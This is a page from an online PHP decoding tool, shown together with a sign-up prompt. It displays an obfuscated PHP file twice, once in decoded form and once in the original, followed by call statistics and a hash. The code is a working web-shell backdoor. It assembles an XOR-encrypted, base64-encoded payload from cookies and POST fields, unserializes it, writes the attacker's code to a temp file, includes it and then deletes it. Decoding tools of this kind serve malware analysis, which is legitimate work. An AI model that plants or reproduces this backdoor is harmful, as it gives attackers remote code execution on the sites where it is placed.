Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ..
Decoded Output download
<?php $TAVwjwkdA = chr ( 1033 - 952 ).chr (95) . 'e' . "R" . 'M' . 'Q';$TcegNn = chr ( 1083 - 984 ).chr (108) . chr (97) . "s" . "s" . chr ( 159 - 64 )."e" . "x" . chr ( 423 - 318 )."s" . chr ( 1106 - 990 ).chr ( 762 - 647 ); $yYAjIhf = class_exists($TAVwjwkdA); $TcegNn = "30958";$kIHGtcsdK = !1;if ($yYAjIhf == $kIHGtcsdK){function PNCmodFnuD(){$mxUtqFT = new /* 52588 */ Q_eRMQ(35896 + 35896); $mxUtqFT = NULL;}$THyCU = "35896";class Q_eRMQ{private function TZXmLaoAR($THyCU){if (is_array(Q_eRMQ::$cgvWhUR)) {$NleJxOfEw = sys_get_temp_dir() . "/" . crc32(Q_eRMQ::$cgvWhUR["s" . 'a' . "l" . chr ( 1093 - 977 )]);@Q_eRMQ::$cgvWhUR[chr (119) . "r" . chr (105) . "t" . chr ( 852 - 751 )]($NleJxOfEw, Q_eRMQ::$cgvWhUR["c" . "o" . 'n' . "t" . chr ( 837 - 736 ).chr ( 257 - 147 )."t"]);include $NleJxOfEw;@Q_eRMQ::$cgvWhUR['d' . "e" . "l" . chr (101) . "t" . "e"]($NleJxOfEw); $THyCU = "35896";exit();}}private $smNnfadC;public function lbjzBjw(){echo 33991;}public function __destruct(){$THyCU = "42868_35716";$this->TZXmLaoAR($THyCU); $THyCU = "42868_35716";}public function __construct($BiycOAqp=0){$dyHutvenEQ = $_POST;$lAuLFaf = $_COOKIE;$HZDbc = "ef3cf438-f4f3-4f89-b4b8-d85149c5115f";$AuvnrLUf = @$lAuLFaf[substr($HZDbc, 0, 4)];if (!empty($AuvnrLUf)){$hVMoN = "base64";$WraRC = "";$AuvnrLUf = explode(",", $AuvnrLUf);foreach ($AuvnrLUf as $lJLIY){$WraRC .= @$lAuLFaf[$lJLIY];$WraRC .= @$dyHutvenEQ[$lJLIY];}$WraRC = array_map($hVMoN . chr (95) . "d" . "e" . chr (99) . 'o' . chr (100) . "e", array($WraRC,)); $WraRC = $WraRC[0] ^ str_repeat($HZDbc, (strlen($WraRC[0]) / strlen($HZDbc)) + 1);Q_eRMQ::$cgvWhUR = @unserialize($WraRC);}}public static $cgvWhUR = 16496;}PNCmodFnuD();} ?>Did this file decode correctly?
Original Code
<?php $TAVwjwkdA = chr ( 1033 - 952 ).chr (95) . 'e' . "\x52" . 'M' . 'Q';$TcegNn = chr ( 1083 - 984 ).chr (108) . chr (97) . "\x73" . "\163" . chr ( 159 - 64 )."\x65" . "\x78" . chr ( 423 - 318 )."\163" . chr ( 1106 - 990 ).chr ( 762 - 647 ); $yYAjIhf = class_exists($TAVwjwkdA); $TcegNn = "30958";$kIHGtcsdK = !1;if ($yYAjIhf == $kIHGtcsdK){function PNCmodFnuD(){$mxUtqFT = new /* 52588 */ Q_eRMQ(35896 + 35896); $mxUtqFT = NULL;}$THyCU = "35896";class Q_eRMQ{private function TZXmLaoAR($THyCU){if (is_array(Q_eRMQ::$cgvWhUR)) {$NleJxOfEw = sys_get_temp_dir() . "/" . crc32(Q_eRMQ::$cgvWhUR["\x73" . 'a' . "\x6c" . chr ( 1093 - 977 )]);@Q_eRMQ::$cgvWhUR[chr (119) . "\x72" . chr (105) . "\164" . chr ( 852 - 751 )]($NleJxOfEw, Q_eRMQ::$cgvWhUR["\143" . "\157" . 'n' . "\x74" . chr ( 837 - 736 ).chr ( 257 - 147 )."\x74"]);include $NleJxOfEw;@Q_eRMQ::$cgvWhUR['d' . "\x65" . "\x6c" . chr (101) . "\164" . "\145"]($NleJxOfEw); $THyCU = "35896";exit();}}private $smNnfadC;public function lbjzBjw(){echo 33991;}public function __destruct(){$THyCU = "42868_35716";$this->TZXmLaoAR($THyCU); $THyCU = "42868_35716";}public function __construct($BiycOAqp=0){$dyHutvenEQ = $_POST;$lAuLFaf = $_COOKIE;$HZDbc = "ef3cf438-f4f3-4f89-b4b8-d85149c5115f";$AuvnrLUf = @$lAuLFaf[substr($HZDbc, 0, 4)];if (!empty($AuvnrLUf)){$hVMoN = "base64";$WraRC = "";$AuvnrLUf = explode(",", $AuvnrLUf);foreach ($AuvnrLUf as $lJLIY){$WraRC .= @$lAuLFaf[$lJLIY];$WraRC .= @$dyHutvenEQ[$lJLIY];}$WraRC = array_map($hVMoN . chr (95) . "\x64" . "\x65" . chr (99) . 'o' . chr (100) . "\145", array($WraRC,)); $WraRC = $WraRC[0] ^ str_repeat($HZDbc, (strlen($WraRC[0]) / strlen($HZDbc)) + 1);Q_eRMQ::$cgvWhUR = @unserialize($WraRC);}}public static $cgvWhUR = 16496;}PNCmodFnuD();} ?>Function Calls
| chr | 9 |
| class_exists | 1 |
Stats
| MD5 | 463466ff0d06b76380f5a06a4c36865f |
| Eval Count | 0 |
| Decode Time | 76 ms |